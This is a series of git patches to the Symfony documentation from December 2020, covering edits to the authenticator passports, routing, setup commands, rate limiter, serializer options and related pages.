-the default user provider will be used with ``$userIdentifier`` as username::
-
-    // ...
-    return new SelfValidatingPassport(new UserBadge($email, function ($username) {
-        return $this->userRepository->findOneBy(['email' => $username]);
-    });
+........................
 
+If you don't need any credentials to be checked (e.g. when using API
+tokens), you can use the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
+This class only requires a ``UserBadge`` object and optionally `Passport
+Badges`_.
 
 Passport Badges
 ~~~~~~~~~~~~~~~
@@ -511,8 +541,13 @@ the following badges are supported:
     initiated). This skips the
     :doc:`pre-authentication user checker </security/user_checkers>`.
 
-For instance, if you want to add CSRF and password migration to your custom
-authenticator, you would initialize the passport like this::
+.. versionadded:: 5.2
+
+    Since 5.2, the ``PasswordUpgradeBadge`` is automatically added to
+    the passport if the passport has ``PasswordCredentials``.
+
+For instance, if you want to add CSRF to your custom authenticator, you
+would initialize the passport like this::
 
     // src/Service/LoginAuthenticator.php
     namespace App\Service;
@@ -520,7 +555,7 @@ authenticator, you would initialize the passport like this::
     // ...
     use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\PasswordUpgradeBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
     use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
     use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
 
@@ -532,14 +567,13 @@ authenticator, you would initialize the passport like this::
             $username = $request->request->get('username');
             $csrfToken = $request->request->get('csrf_token');
 
-            // ... get the $user from the $username and validate no
-            // parameter is empty
+            // ... validate no parameter is empty
 
-            return new Passport($user, new PasswordCredentials($password), [
-                // $this->userRepository must implement PasswordUpgraderInterface
-                new PasswordUpgradeBadge($password, $this->userRepository),
-                new CsrfTokenBadge('login', $csrfToken),
-            ]);
+            return new Passport(
+                new UserBadge($user),
+                new PasswordCredentials($password),
+                [new CsrfTokenBadge('login', $csrfToken)]
+            );
         }
     }
 

From 1ae411bfcd845af42b14bcd61295f2851009c38b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 9 Dec 2020 11:39:05 +0100
Subject: [PATCH 0237/5766] [#14671] Added example of inline host
 defaults/requirements

---
 routing.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/routing.rst b/routing.rst
index 39cb575ed8d..bcd6daec811 100644
--- a/routing.rst
+++ b/routing.rst
@@ -790,11 +790,6 @@ concise, but it can decrease route readability when requirements are complex:
             // ...
         };
 
-.. versionadded:: 5.2
-
-    Since Symfony 5.2, inline parameter requirements are also supported in the
-    host. Before Symfony 5.2, they were supported in the path only.
-
 Optional Parameters
 ~~~~~~~~~~~~~~~~~~~
 
@@ -989,11 +984,6 @@ parameter:
     To give a ``null`` default value to any parameter, add nothing after the
     ``?`` character (e.g. ``/blog/{page?}``).
 
-.. versionadded:: 5.2
-
-    Since Symfony 5.2, inline parameter default values are also supported in
-    the host. Before Symfony 5.2, they were supported in the path only.
-
 Priority Parameter
 ~~~~~~~~~~~~~~~~~~
 
@@ -2046,6 +2036,16 @@ these routes.
             // ['HTTP_HOST' => 'm.' . $client->getContainer()->getParameter('domain')]
         );
 
+.. tip::
+
+    You can also use the inline defaults and requirements format in the
+    ``host`` option: ``{subdomain<m|mobile>?m}.example.com``
+
+.. versionadded:: 5.2
+
+    Inline parameter default values support in hosts were introduced in
+    Symfony 5.2. Prior to Symfony 5.2, they were supported in the path only.
+
 .. _i18n-routing:
 
 Localized Routes (i18n)

From fd12a43e00a94743a2047cf4e7c15b3362fbc8be Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 3 Dec 2020 08:34:50 +0100
Subject: [PATCH 0238/5766] [Console] Update table.rst

The Symfony\Component\Console\Helper\TableStyle class doesn't have the setDefaultCrossingChars method, but there is the setCrossingChars method. The setCrossingChars method takes at least 9 parameters, so I think it would be difficult to present it in the example instead of the setDefaultCrossingChars method. In this commit, I removed all references to the method that doesn't exist.
---
 components/console/helpers/table.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index bc680cc5ad0..0e8df0d1031 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -233,7 +233,7 @@ If the built-in styles do not fit your need, define your own::
 
     // customizes the style
     $tableStyle
-        ->setDefaultCrossingChars('<fg=magenta>|</>')
+        ->setHorizontalBorderChars('<fg=magenta>|</>')
         ->setVerticalBorderChars('<fg=magenta>-</>')
         ->setDefaultCrossingChar(' ')
     ;
@@ -244,7 +244,7 @@ If the built-in styles do not fit your need, define your own::
 Here is a full list of things you can customize:
 
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setPaddingChar`
-*  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setDefaultCrossingChars`
+*  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setHorizontalBorderChars`
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setVerticalBorderChars`
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setCrossingChars`
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setDefaultCrossingChar`

From 6fc13f253eda907f73ef2ededdbb77a3a3521e3f Mon Sep 17 00:00:00 2001
From: Alexander Frolov <thephilosoft@gmail.com>
Date: Wed, 9 Dec 2020 13:00:18 -0500
Subject: [PATCH 0239/5766] Update setup page for Symfony 5.2 - drop dev

Since 5.2 is already released there is no reason to point to `next` version

When merged, fixes #14663
---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 8e8f7c5610e..dbcb153dac7 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=next --full
+    $ symfony new my_project_name --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=next
+    $ symfony new my_project_name
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.2.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.2.x@dev" my_project_name
+    $ composer create-project symfony/skeleton my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From a741c9ce46f60e4d57e4d648d11525164956da31 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9gory=20SURACI?= <gregory.suraci@smile.fr>
Date: Wed, 9 Dec 2020 15:15:47 +0100
Subject: [PATCH 0240/5766] [Service Container] Fix Service parameters typo in
 services.yml

---
 service_container.rst | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index ff80ac27a14..a33dbdfb786 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -340,7 +340,7 @@ you can type-hint the new ``SiteUpdateManager`` class and use it::
 
     // src/Controller/SiteController.php
     namespace App\Controller;
-    
+
     // ...
     use App\Service\SiteUpdateManager;
 
@@ -500,13 +500,14 @@ parameter and in PHP config use the ``ref`` function:
         # config/services.yaml
         services:
             App\Service\MessageGenerator:
-                # this is not a string, but a reference to a service called 'logger'
-                arguments: ['@logger']
+                arguments:
+                    # this is not a string, but a reference to a service called 'logger'
+                    - '@logger'
 
-                # if the value of a string parameter starts with '@', you need to escape
-                # it by adding another '@' so Symfony doesn't consider it a service
-                # (this will be parsed as the string '@securepassword')
-                mailer_password: '@@securepassword'
+                    # if the value of a string argument starts with '@', you need to escape
+                    # it by adding another '@' so Symfony doesn't consider it a service
+                    # the following example would be parsed as the string '@securepassword'
+                    # - '@@securepassword'
 
     .. code-block:: xml
 

From 2773a4168977aa98371a578759a78df7ae15037c Mon Sep 17 00:00:00 2001
From: Alexander Frolov <thephilosoft@gmail.com>
Date: Wed, 9 Dec 2020 13:07:12 -0500
Subject: [PATCH 0241/5766] Update setup page for Symfony 5.1 - add version

Since 5.2 is now the current version it makes sense to add version to `symfony` and `composer create-project` example commands
---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index dbcb153dac7..5ad11c5b693 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=5.1 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=5.1
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton my_project_name
+    $ composer create-project symfony/website-skeleton:"5.1.*" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_name
+    $ composer create-project symfony/skeleton:"5.1.*" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 8e39f4592c1094898a3abc50728e72c30d2509d9 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 10 Dec 2020 12:39:49 +0100
Subject: [PATCH 0242/5766] Updated Composer commands to install 5.3@dev

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index dbcb153dac7..0433e8af360 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=next --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=next
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton my_project_name
+    $ composer create-project symfony/website-skeleton:"5.3.x@dev' my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_name
+    $ composer create-project symfony/skeleton:"5.3.x@dev' my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 81a020857cb1ece2e70f30752fa19a1b284b5a95 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 10 Dec 2020 15:08:44 +0100
Subject: [PATCH 0243/5766] Change order in Set-up article

---
 setup.rst | 58 +++++++++++++++++++++++++++----------------------------
 1 file changed, 29 insertions(+), 29 deletions(-)

diff --git a/setup.rst b/setup.rst
index 2f39564d40c..a93d157b371 100644
--- a/setup.rst
+++ b/setup.rst
@@ -81,6 +81,35 @@ started. In other words, your new application is ready!
     and ``<project>/var/log/``) must be writable by the web server. If you have
     any issue, read how to :doc:`set up permissions for Symfony applications </setup/file_permissions>`.
 
+.. _install-existing-app:
+
+Setting up an Existing Symfony Project
+--------------------------------------
+
+In addition to creating new Symfony projects, you will also work on projects
+already created by other developers. In that case, you only need to get the
+project code and install the dependencies with Composer. Assuming your team uses
+Git, setup your project with the following commands:
+
+.. code-block:: terminal
+
+    # clone the project to download its contents
+    $ cd projects/
+    $ git clone ...
+
+    # make Composer install the project's dependencies into vendor/
+    $ cd my-project/
+    $ composer install
+
+You'll probably also need to customize your :ref:`.env file <config-dot-env>`
+and do a few other project-specific tasks (e.g. creating a database). When
+working on a existing Symfony application for the first time, it may be useful
+to run this command which displays information about the project:
+
+.. code-block:: terminal
+
+    $ php bin/console about
+
 Running Symfony Applications
 ----------------------------
 
@@ -112,35 +141,6 @@ the server by pressing ``Ctrl+C`` from your terminal.
     The web server works with any PHP application, not only Symfony projects,
     so it's a very useful generic development tool.
 
-.. _install-existing-app:
-
-Setting up an Existing Symfony Project
---------------------------------------
-
-In addition to creating new Symfony projects, you will also work on projects
-already created by other developers. In that case, you only need to get the
-project code and install the dependencies with Composer. Assuming your team uses
-Git, setup your project with the following commands:
-
-.. code-block:: terminal
-
-    # clone the project to download its contents
-    $ cd projects/
-    $ git clone ...
-
-    # make Composer install the project's dependencies into vendor/
-    $ cd my-project/
-    $ composer install
-
-You'll probably also need to customize your :ref:`.env file <config-dot-env>`
-and do a few other project-specific tasks (e.g. creating a database). When
-working on a existing Symfony application for the first time, it may be useful
-to run this command which displays information about the project:
-
-.. code-block:: terminal
-
-    $ php bin/console about
-
 .. _symfony-flex:
 
 Installing Packages

From f7ae0fa09d5d4680b12b03cb4112912e98090133 Mon Sep 17 00:00:00 2001
From: Pierre du Plessis <pierre@pcservice.co.za>
Date: Fri, 11 Dec 2020 10:31:38 +0200
Subject: [PATCH 0244/5766] Fix config keys for rate limiter

The `lock` and `storage` keys have been updated to `lock_factory` and `storage_service` respectively.
---
 rate_limiter.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index f5473607fe7..403aa9c462f 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -260,8 +260,8 @@ Rate Limiter Storage and Locking
 --------------------------------
 
 Rate limiters use the default cache and locking mechanisms defined in your
-Symfony application. If you prefer to change that, use the ``lock`` and
-``storage`` options:
+Symfony application. If you prefer to change that, use the ``lock_factory`` and
+``storage_service`` options:
 
 .. code-block:: yaml
 
@@ -274,9 +274,9 @@ Symfony application. If you prefer to change that, use the ``lock`` and
                 cache_pool: 'app.redis_cache'
                 # or define a service implementing StorageInterface to use a different
                 # mechanism to store the limiter information
-                storage: 'App\RateLimiter\CustomRedisStorage'
+                storage_service: 'App\RateLimiter\CustomRedisStorage'
                 # the value is the name of any lock defined in your application
-                lock: 'app.rate_limiter_lock'
+                lock_factory: 'app.rate_limiter_lock'
 
 .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
 .. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative

From 25e530fba5ce6cb43abbdd0e04aabc1392451e0e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Dec 2020 16:02:44 +0100
Subject: [PATCH 0245/5766] Fixed code syntax of previous change

---
 mercure.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 9222ddc68c5..c533c07fad7 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -428,9 +428,9 @@ And here is the controller::
             $configuration = Configuration::forSymmetricSigner(new Sha256(), $key);
             
             $token = $configuration->builder()
-                                    ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
-                                    ->getToken($configuration->signer(), $configuration->signingKey())
-                                    ->toString();
+                ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
+                ->getToken($configuration->signer(), $configuration->signingKey())
+                ->toString();
 
             $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']);
             $cookie = Cookie::create('mercureAuthorization')

From f81211422a3ba96a428bdfda062e6f22b1ed043c Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Thu, 3 Dec 2020 07:25:17 +0100
Subject: [PATCH 0246/5766] Lock - replace getExpiringDate by
 getRemainingLifetime

As the method `getExpiringDate` doesn't exist, replace it by `getRemainingLifetime` which returns the remaining time to live in seconds
---
 components/lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 891fdc64818..55ddcf377b3 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -196,8 +196,8 @@ to reset the TTL to its original value::
         $lock->refresh(600);
 
 This component also provides two useful methods related to expiring locks:
-``getExpiringDate()`` (which returns ``null`` or a ``\DateTimeImmutable``
-object) and ``isExpired()`` (which returns a boolean).
+``getRemainingLifetime()`` (which returns ``null`` or a ``float``
+as seconds) and ``isExpired()`` (which returns a boolean).
 
 The Owner of The Lock
 ---------------------

From 0406cc4c0b38ceb54ec1c43eb3a46c3a227ddaa8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Dec 2020 17:34:55 +0100
Subject: [PATCH 0247/5766] [Uid] Mention the Doctrine type hinting of
 UUID/ULID values

---
 components/uid.rst | 58 ++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 58 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 287789ac368..e5888c66b88 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -168,6 +168,35 @@ entity primary keys::
 
     The UUID types and generators were introduced in Symfony 5.2.
 
+When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
+knows how to convert these UUID types to build the SQL query
+(e.g. ``->findOneBy(['user' => $user->getUuid()])``). However, when using DQL
+queries or building the query yourself, you'll need to set ``uuid`` as the type
+of the UUID parameters::
+
+    // src/Repository/ProductRepository.php
+
+    // ...
+    class ProductRepository extends ServiceEntityRepository
+    {
+        // ...
+
+        public function findUserProducts(User $user): array
+        {
+            $qb = $this->createQueryBuilder('p')
+                // ...
+                // add 'uuid' as the third argument to tell Doctrine that this is an UUID
+                ->setParameter('user', $user->getUuid(), 'uuid')
+
+                // alternatively, you can convert it to a value compatible with
+                // the type inferred by Doctrine
+                ->setParameter('user', $user->getUuid()->toBinary())
+            ;
+
+            // ...
+        }
+    }
+
 ULIDs
 -----
 
@@ -283,6 +312,35 @@ entity primary keys::
 
     The ULID types and generator were introduced in Symfony 5.2.
 
+When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
+knows how to convert these ULID types to build the SQL query
+(e.g. ``->findOneBy(['user' => $user->getUlid()])``). However, when using DQL
+queries or building the query yourself, you'll need to set ``ulid`` as the type
+of the ULID parameters::
+
+    // src/Repository/ProductRepository.php
+
+    // ...
+    class ProductRepository extends ServiceEntityRepository
+    {
+        // ...
+
+        public function findUserProducts(User $user): array
+        {
+            $qb = $this->createQueryBuilder('p')
+                // ...
+                // add 'ulid' as the third argument to tell Doctrine that this is an ULID
+                ->setParameter('user', $user->getUlid(), 'ulid')
+
+                // alternatively, you can convert it to a value compatible with
+                // the type inferred by Doctrine
+                ->setParameter('user', $user->getUlid()->toBinary())
+            ;
+
+            // ...
+        }
+    }
+
 .. _`unique identifiers`: https://en.wikipedia.org/wiki/UID
 .. _`UUIDs`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`ULIDs`: https://github.com/ulid/spec

From 4f0ff7eaad978853b220f2956b96e6061244bf93 Mon Sep 17 00:00:00 2001
From: Adamo Crespi <adamo.crespi@gmail.com>
Date: Sat, 12 Dec 2020 13:46:23 +0100
Subject: [PATCH 0248/5766] Update normalizers.rst

It was indicated a wrong class.

The class `Symfony\Component\Serializer\Normalizer\NormalizableInterface` was not mentioned in the part that tells about how to normalize an object that implements the interface.
---
 serializer/normalizers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index 002cc02a433..78cc103d763 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -36,10 +36,10 @@ Symfony includes the following normalizers but you can also
   transform :phpclass:`SplFileInfo` objects in `Data URIs`_
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` to
   normalize PHP object using an object that implements
+  :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer` for
   objects implementing the :class:`Symfony\\Component\\Form\\FormInterface` to
-  normalize form errors.
-  :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
+  normalize form errors;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` to
   normalize PHP object using the getter and setter methods of the object;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` to

From 586503b66bbb23c27f218d0082c6b6f4b2a81e7c Mon Sep 17 00:00:00 2001
From: Volodymyr Stelmakh <volod.stelmakh@gmail.com>
Date: Sat, 12 Dec 2020 15:14:57 +0100
Subject: [PATCH 0249/5766] fix method name typo in tip

---
 components/semaphore.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/semaphore.rst b/components/semaphore.rst
index 5f26c781164..ebae3df89e8 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -76,6 +76,6 @@ already acquired.
     If you don't release the semaphore explicitly, it will be released
     automatically on instance destruction. In some cases, it can be useful to
     lock a resource across several requests. To disable the automatic release
-    behavior, set the fifth argument of the ``createLock()`` method to ``false``.
+    behavior, set the fifth argument of the ``createSemaphore()`` method to ``false``.
 
 .. _`semaphores`: https://en.wikipedia.org/wiki/Semaphore_(programming)

From f5ebf4229f7f24e371dc749fdd9b6c543ff68fab Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 13 Dec 2020 17:27:25 +0100
Subject: [PATCH 0250/5766] Update the Nginx example
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

When I was looking through the Nginx configuration recipe for Symfony 4.x I discovered an important comment that isn’t included in the example in the Nginx section. I think this tip may be useful for those who create their environment using docker containers. In this PR I added the missing comment, which is taken from the recipe on this page: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/#secure-symfony-4-x.
---
 setup/web_server_configuration.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index e4fef9b3d99..603a0ba3bbd 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -333,6 +333,9 @@ The **minimum configuration** to get your application running under Nginx is:
             # Otherwise, PHP's OPcache may not properly detect changes to
             # your PHP files (see https://github.com/zendtech/ZendOptimizerPlus/issues/126
             # for more information).
+            # Caveat: When PHP-FPM is hosted on a different machine from nginx
+            #         $realpath_root may not resolve as you expect! In this case try using
+            #         $document_root instead.
             fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
             fastcgi_param DOCUMENT_ROOT $realpath_root;
             # Prevents URIs that include the front controller. This will 404:

From 159da027be25c9013a101f723c87cbdecd50e545 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maxime=20H=C3=A9lias?= <maximehelias16@gmail.com>
Date: Thu, 12 Nov 2020 15:32:14 +0100
Subject: [PATCH 0251/5766] Add missing options context

---
 components/serializer.rst | 87 +++++++++++++++++++++++++++++++++------
 1 file changed, 74 insertions(+), 13 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 20d31fa8c0c..b2cf03b2192 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -691,7 +691,24 @@ When serializing, you can set a callback to format a specific object property::
 Normalizers
 -----------
 
-There are several types of normalizers available:
+Normalizers turn **object** into **array** and vice versa. They implement
+::class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
+for normalize (object to array) and
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface` for denormalize
+(array to object).
+
+You can add new normalizers to a Serializer instance by using its first constructor argument::
+
+    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+    use Symfony\Component\Serializer\Serializer;
+
+    $normalizers = [new ObjectNormalizer()];
+    $serializer = new Serializer($normalizers, []);
+
+Built-in Normalizers
+~~~~~~~~~~~~~~~~~~~~
+
+The Serializer component provides several built-in normalizers:
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
     This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>`
@@ -765,6 +782,14 @@ There are several types of normalizers available:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
     Normalizes errors according to the API Problem spec `RFC 7807`_.
 
+.. note::
+
+    You can also create your own Normalizer to use another structure. Read more at
+    :doc:`/serializer/custom_normalizer`.
+
+All these normalizers are enabled by default when using the Serializer component
+in a Symfony application.
+
 .. _component-serializer-encoders:
 
 Encoders
@@ -803,6 +828,11 @@ The Serializer component provides several built-in encoders:
 :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
     This encoder encodes and decodes data in `CSV`_.
 
+.. note::
+
+    You can also create your own Encoder to use another structure. Read more at
+    :doc:`/serializer/custom_encoders`.
+
 All these encoders are enabled by default when using the Serializer component
 in a Symfony application.
 
@@ -923,18 +953,29 @@ which defines the configuration options for the XmlEncoder an associative array:
 
 These are the options available:
 
-======================  ==================================================== ==========================
-Option                  Description                                          Default
-======================  ==================================================== ==========================
-``xml_format_output``   If set to true, formats the generated XML with line
-                        breaks and indentation.
-``xml_version``         Sets the XML version attribute                       ``1.1``
-``xml_encoding``        Sets the XML encoding attribute                      ``utf-8``
-``xml_standalone``      Adds standalone attribute in the generated XML       ``true``
-``xml_root_node_name``  Sets the root node name (default: ``response``).
-``remove_empty_tags``   If set to true, removes all empty tags in the        ``false``
-                        generated XML
-======================  ==================================================== ==========================
+==============================  =================================================  ==========================
+Option                          Description                                        Default
+==============================  =================================================  ==========================
+``xml_format_output``           If set to true, formats the generated XML with
+                                line breaks and indentation.
+``xml_version``                 Sets the XML version attribute                     ``1.1``
+``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
+``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
+``xml_type_cast_attributes``    This provides the ability to forgot the attribute  ``true``
+                                type casting
+``xml_root_node_name``          Sets the root node name (default: ``response``).
+``as_collection``               Always returns results as a collection, even if
+                                only one line is decoded
+``decoder_ignored_node_types``  Sets nodes to be ignored in the decode             ``[\XML_PI_NODE, \XML_COMMENT_NODE]``
+``encoder_ignored_node_types``  Sets nodes to be ignored in the encode             ``[]``
+``load_options``                XML loading `options with libxml`_                 ``\LIBXML_NONET | \LIBXML_NOBLANKS``
+``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
+                                generated XML
+==============================  =================================================  ==========================
+
+.. versionadded:: 4.2
+
+    The ``decoder_ignored_node_types`` & ``encoder_ignored_node_types`` options was introduced in Symfony 4.2.
 
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~
@@ -942,6 +983,25 @@ The ``YamlEncoder``
 This encoder requires the :doc:`Yaml Component </components/yaml>` and
 transforms from and to Yaml.
 
+The ``YamlEncoder`` Context Options
+...................................
+
+The ``encode()`` method, like other encoder, uses ``context`` to set
+configuration options for the YamlEncoder an associative array::
+
+    $xmlEncoder->encode($array, 'xml', $context);
+
+These are the options available:
+
+=============== ========================================================  ==========================
+Option          Description                                               Default
+=============== ========================================================  ==========================
+``yaml_inline`` The level where you switch to inline YAML                 ``0``
+``yaml_indent`` The level of indentation (used internally)                ``0``
+``yaml_flags``  A bit field of ``Yaml::DUMP_*`` / ``PARSE_*`` constants   ``0``
+                to customize the encoding / decoding YAML string
+=============== ========================================================  ==========================
+
 Skipping ``null`` Values
 ------------------------
 
@@ -1508,6 +1568,7 @@ Learn more
 .. _`PSR-1 standard`: https://www.php-fig.org/psr/psr-1/
 .. _`JMS serializer`: https://github.com/schmittjoh/serializer
 .. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
+.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
 .. _JSON: http://www.json.org/
 .. _XML: https://www.w3.org/XML/
 .. _YAML: https://yaml.org/

From 912c86df25f7bc10f929f85b285093b010c53ca1 Mon Sep 17 00:00:00 2001
From: Christoph Wieseke <virtualize@users.noreply.github.com>
Date: Tue, 15 Dec 2020 15:51:52 +0100
Subject: [PATCH 0252/5766] [PropertyAccess] fixed typos for feature
 enable/disable

fixed typos in comments for feature enable/disable
---
 components/property_access.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index d7890e13c5e..4069719cf41 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -519,10 +519,10 @@ configured to enable extra features. To do that you could use the
     $propertyAccessorBuilder->enableMagicSet(); // enables magic __set
     $propertyAccessorBuilder->enableMagicMethods(); // enables magic __get, __set and __call
 
-    $propertyAccessorBuilder->disableMagicCall(); // enables magic __call
-    $propertyAccessorBuilder->disableMagicGet(); // enables magic __get
-    $propertyAccessorBuilder->disableMagicSet(); // enables magic __set
-    $propertyAccessorBuilder->disableMagicMethods(); // enables magic __get, __set and __call
+    $propertyAccessorBuilder->disableMagicCall(); // disables magic __call
+    $propertyAccessorBuilder->disableMagicGet(); // disables magic __get
+    $propertyAccessorBuilder->disableMagicSet(); // disables magic __set
+    $propertyAccessorBuilder->disableMagicMethods(); // disables magic __get, __set and __call
 
     // checks if magic __call, __get or __set handling are enabled
     $propertyAccessorBuilder->isMagicCallEnabled(); // true or false

From 8e2e7de46658db06b8809c6e0036c9ad1cdde104 Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Wed, 9 Dec 2020 17:33:46 +0100
Subject: [PATCH 0253/5766] Add documentation about redis cache configuration

---
